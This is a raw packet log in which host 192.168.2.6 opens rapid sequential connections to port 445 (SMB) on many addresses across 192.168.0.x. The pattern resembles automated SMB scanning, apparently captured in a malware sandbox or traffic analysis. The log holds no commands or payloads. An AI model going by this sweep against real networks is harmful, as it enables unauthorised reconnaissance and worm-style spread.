Jul 6, 2024 14:11:21.228821993 CEST	49878	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:21.237417936 CEST	445	49878	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:21.237437963 CEST	445	49879	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:21.237524986 CEST	49879	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:21.237618923 CEST	49879	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:21.242835999 CEST	49880	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:21.258605957 CEST	49881	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:21.265235901 CEST	445	49880	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:21.265301943 CEST	49880	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:21.265310049 CEST	445	49881	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:21.265326977 CEST	445	49879	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:21.265353918 CEST	49881	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:21.265526056 CEST	49881	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:21.266166925 CEST	49879	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:21.267298937 CEST	49880	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:21.274293900 CEST	49882	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:21.274342060 CEST	445	49880	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:21.274350882 CEST	445	49881	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:21.274420977 CEST	49881	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:21.274424076 CEST	49880	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:21.274954081 CEST	445	49880	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:21.279531002 CEST	445	49882	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:21.279614925 CEST	49882	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:21.279759884 CEST	49882	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:21.285490036 CEST	445	49882	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:21.285552979 CEST	49882	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:21.290060997 CEST	49883	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:21.295392990 CEST	445	49883	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:21.295506001 CEST	49883	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:21.295561075 CEST	49883	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:21.304110050 CEST	445	49883	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:21.304519892 CEST	49883	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:21.307280064 CEST	49884	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:21.312282085 CEST	445	49884	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:21.315517902 CEST	49884	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:21.315519094 CEST	49884	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:21.322551012 CEST	445	49884	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:21.323462009 CEST	49884	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:21.328440905 CEST	49885	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:21.333574057 CEST	445	49885	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:21.335504055 CEST	49885	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:21.335504055 CEST	49885	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:21.336750984 CEST	49886	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:21.341655016 CEST	445	49886	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:21.341746092 CEST	49886	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:21.341849089 CEST	49886	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:21.342756987 CEST	445	49885	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:21.342921019 CEST	445	49885	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:21.342967033 CEST	49885	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:21.349199057 CEST	445	49886	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:21.349272966 CEST	49886	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:21.352179050 CEST	49887	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:21.357438087 CEST	445	49887	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:21.357516050 CEST	49887	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:21.357640982 CEST	49887	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:21.362605095 CEST	445	49887	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:21.362652063 CEST	49887	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:21.362833023 CEST	445	49887	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:21.366964102 CEST	49888	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:21.367100000 CEST	49889	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:21.367352009 CEST	49890	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:21.368983984 CEST	49891	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:21.371998072 CEST	445	49888	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:21.372008085 CEST	445	49889	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:21.372075081 CEST	49888	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:21.372102976 CEST	49889	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:21.372406006 CEST	445	49890	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:21.372967005 CEST	49890	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:21.373920918 CEST	445	49891	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:21.373996019 CEST	49891	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:21.374080896 CEST	49891	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:21.374365091 CEST	49890	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:21.377582073 CEST	445	49888	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:21.377799034 CEST	445	49889	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:21.377978086 CEST	49888	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:21.377978086 CEST	49889	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:21.379050970 CEST	445	49891	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:21.379162073 CEST	49891	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:21.379436016 CEST	445	49891	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:21.379570007 CEST	445	49890	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:21.379888058 CEST	445	49890	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:21.382214069 CEST	49890	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:21.383596897 CEST	49892	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:21.390655994 CEST	445	49890	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:21.391223907 CEST	445	49892	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:21.391283035 CEST	49892	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:21.391410112 CEST	49892	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:21.397727966 CEST	445	49892	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:21.398078918 CEST	49892	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:21.398155928 CEST	49893	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:21.398252010 CEST	49894	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:21.400321960 CEST	49895	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:21.403578043 CEST	445	49893	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:21.403652906 CEST	49893	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:21.403736115 CEST	49893	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:21.403762102 CEST	445	49894	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:21.403821945 CEST	49894	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:21.403913021 CEST	49894	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:21.405870914 CEST	445	49895	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:21.406375885 CEST	49895	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:21.408787012 CEST	445	49893	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:21.408992052 CEST	445	49894	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:21.409915924 CEST	445	49893	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:21.411331892 CEST	445	49894	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:21.412991047 CEST	49895	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:21.413115978 CEST	445	49895	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:21.413161039 CEST	49895	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:21.413825035 CEST	49896	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:21.417853117 CEST	445	49895	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:21.419416904 CEST	445	49896	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:21.419485092 CEST	49896	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:21.419574022 CEST	49896	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:21.424923897 CEST	445	49896	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:21.424981117 CEST	49896	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:21.425247908 CEST	445	49896	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:21.428848982 CEST	49897	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:21.428976059 CEST	49898	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:21.433778048 CEST	445	49897	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:21.434418917 CEST	445	49898	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:21.434480906 CEST	49898	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:21.434551001 CEST	49898	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:21.437990904 CEST	49897	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:21.437990904 CEST	49899	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:21.437990904 CEST	49897	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:21.444960117 CEST	49900	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:21.446758986 CEST	445	49898	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:21.447824955 CEST	445	49899	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:21.447848082 CEST	445	49897	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:21.448740005 CEST	49899	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:21.448740005 CEST	49899	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:21.452610970 CEST	445	49898	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:21.452696085 CEST	445	49897	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:21.453422070 CEST	445	49900	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:21.453485012 CEST	49900	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:21.453574896 CEST	49900	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:21.455100060 CEST	445	49899	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:21.456285000 CEST	49899	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:21.458271980 CEST	445	49899	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:21.460803986 CEST	49903	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:21.463668108 CEST	49901	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:21.463669062 CEST	49902	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:21.469029903 CEST	445	49903	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:21.469068050 CEST	445	49901	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:21.469078064 CEST	445	49902	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:21.469151974 CEST	49901	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:21.469151974 CEST	49902	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:21.469630003 CEST	445	49900	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:21.469748020 CEST	49903	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:21.470278978 CEST	49901	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:21.470434904 CEST	49902	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:21.470451117 CEST	49900	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:21.471112013 CEST	49903	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:21.474355936 CEST	445	49901	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:21.474807978 CEST	445	49902	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:21.475512981 CEST	445	49901	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:21.475519896 CEST	445	49902	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:21.476854086 CEST	49901	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:21.476854086 CEST	49902	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:21.477273941 CEST	445	49903	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:21.479562044 CEST	49904	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:21.479562044 CEST	49903	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:21.481847048 CEST	445	49901	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:21.481854916 CEST	445	49902	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:21.484076023 CEST	49905	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:21.484412909 CEST	445	49904	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:21.487015009 CEST	49904	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:21.488946915 CEST	445	49905	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:21.491893053 CEST	49904	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:21.494088888 CEST	49905	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:21.494088888 CEST	49905	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:21.494499922 CEST	445	49904	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:21.494553089 CEST	49904	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:21.494848013 CEST	49906	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:21.494848013 CEST	49907	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:21.496798038 CEST	445	49904	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:21.499358892 CEST	445	49905	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:21.499619961 CEST	445	49904	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:21.499839067 CEST	445	49905	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:21.499972105 CEST	445	49906	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:21.499980927 CEST	445	49907	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:21.500385046 CEST	49905	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:21.500385046 CEST	49906	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:21.500385046 CEST	49907	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:21.500385046 CEST	49907	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:21.501657009 CEST	49906	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:21.505575895 CEST	445	49906	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:21.505744934 CEST	445	49907	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:21.505883932 CEST	49906	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:21.505883932 CEST	49907	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:21.506642103 CEST	445	49906	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:21.507843018 CEST	49908	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:21.509017944 CEST	49909	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:21.514208078 CEST	445	49906	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:21.515188932 CEST	445	49908	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:21.515266895 CEST	49908	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:21.515420914 CEST	49908	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:21.515614033 CEST	445	49909	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:21.515670061 CEST	49909	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:21.515788078 CEST	49909	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:21.520368099 CEST	445	49908	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:21.520456076 CEST	445	49908	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:21.521044016 CEST	445	49909	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:21.521372080 CEST	49909	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:21.523262024 CEST	49910	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:21.523493052 CEST	49908	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:21.524319887 CEST	49911	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:21.528762102 CEST	445	49908	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:21.529088974 CEST	445	49910	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:21.529174089 CEST	445	49911	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:21.529217005 CEST	49910	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:21.529253006 CEST	49910	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:21.529814959 CEST	49911	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:21.529814959 CEST	49911	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:21.534742117 CEST	445	49910	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:21.534751892 CEST	445	49910	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:21.535816908 CEST	445	49911	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:21.537607908 CEST	49911	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:21.545254946 CEST	49912	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:21.551662922 CEST	445	49912	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:21.551723957 CEST	49912	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:21.552114964 CEST	49912	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:21.553862095 CEST	49913	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:21.554222107 CEST	49914	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:21.555948019 CEST	49915	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:21.557116985 CEST	445	49912	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:21.557173967 CEST	49912	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:21.559159994 CEST	445	49913	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:21.559252977 CEST	49913	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:21.559343100 CEST	49913	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:21.559648991 CEST	445	49914	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:21.560467005 CEST	49914	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:21.560513973 CEST	49914	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:21.564383030 CEST	445	49913	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:21.565021992 CEST	445	49913	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:21.565619946 CEST	445	49914	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:21.565839052 CEST	445	49914	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:21.566184998 CEST	445	49915	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:21.566284895 CEST	49915	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:21.566406965 CEST	49915	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:21.569631100 CEST	49916	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:21.574553967 CEST	445	49915	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:21.574879885 CEST	445	49916	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:21.575000048 CEST	49916	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:21.575050116 CEST	49916	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:21.575766087 CEST	445	49915	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:21.575818062 CEST	49915	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:21.581033945 CEST	445	49916	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:21.581099033 CEST	49916	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:21.585454941 CEST	49917	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:21.585639000 CEST	49918	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:21.586369991 CEST	49919	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:21.592694044 CEST	445	49917	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:21.592705965 CEST	445	49918	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:21.592780113 CEST	49917	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:21.592780113 CEST	49918	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:21.592813015 CEST	445	49919	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:21.592873096 CEST	49919	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:21.592878103 CEST	49917	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:21.592962980 CEST	49918	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:21.593152046 CEST	49919	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:21.601692915 CEST	445	49917	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:21.601705074 CEST	445	49918	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:21.601917982 CEST	445	49917	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:21.602360964 CEST	445	49918	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:21.602597952 CEST	445	49919	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:21.602607965 CEST	445	49919	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:21.602694035 CEST	49919	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:21.616440058 CEST	49920	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:21.619172096 CEST	49921	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:21.621036053 CEST	49922	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:21.623918056 CEST	445	49920	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:21.624010086 CEST	49920	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:21.624378920 CEST	49920	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:21.626563072 CEST	445	49921	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:21.626630068 CEST	49921	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:21.626770020 CEST	49921	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:21.629775047 CEST	445	49922	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:21.629828930 CEST	49922	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:21.630075932 CEST	49922	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:21.632199049 CEST	49923	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:21.632385969 CEST	445	49920	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:21.632395029 CEST	445	49920	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:21.632915020 CEST	49924	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:21.636260033 CEST	445	49921	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:21.636338949 CEST	49921	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:21.639520884 CEST	445	49922	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:21.639592886 CEST	49922	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:21.640486956 CEST	445	49923	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:21.640729904 CEST	49923	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:21.640913010 CEST	49923	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:21.643845081 CEST	445	49924	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:21.643923044 CEST	49924	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:21.644128084 CEST	49924	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:21.647589922 CEST	49925	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:21.647735119 CEST	49926	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:21.649499893 CEST	49927	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:21.650810957 CEST	445	49923	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:21.651947975 CEST	445	49924	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:21.654759884 CEST	49924	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:21.655380011 CEST	445	49925	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:21.655394077 CEST	445	49926	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:21.657023907 CEST	49925	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:21.657023907 CEST	49926	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:21.657023907 CEST	49925	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:21.657023907 CEST	49926	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:21.657484055 CEST	445	49927	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:21.658063889 CEST	49927	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:21.663691044 CEST	49927	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:21.664036036 CEST	49928	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:21.664642096 CEST	445	49925	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:21.664652109 CEST	445	49926	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:21.664980888 CEST	445	49925	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:21.665602922 CEST	445	49926	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:21.667193890 CEST	445	49927	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:21.667233944 CEST	49927	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:21.669867039 CEST	445	49927	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:21.670336008 CEST	445	49928	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:21.670768023 CEST	49928	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:21.670902014 CEST	49928	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:21.676528931 CEST	445	49928	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:21.676600933 CEST	49928	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:21.676955938 CEST	445	49928	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:21.678992033 CEST	49929	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:21.679218054 CEST	49930	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:21.679816008 CEST	49931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:21.684206963 CEST	445	49929	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:21.684217930 CEST	445	49930	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:21.684312105 CEST	49929	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:21.684396982 CEST	49929	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:21.684935093 CEST	445	49931	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:21.685147047 CEST	49930	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:21.685147047 CEST	49930	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:21.685148001 CEST	49931	445	192.168.2.6	192.168.0.147
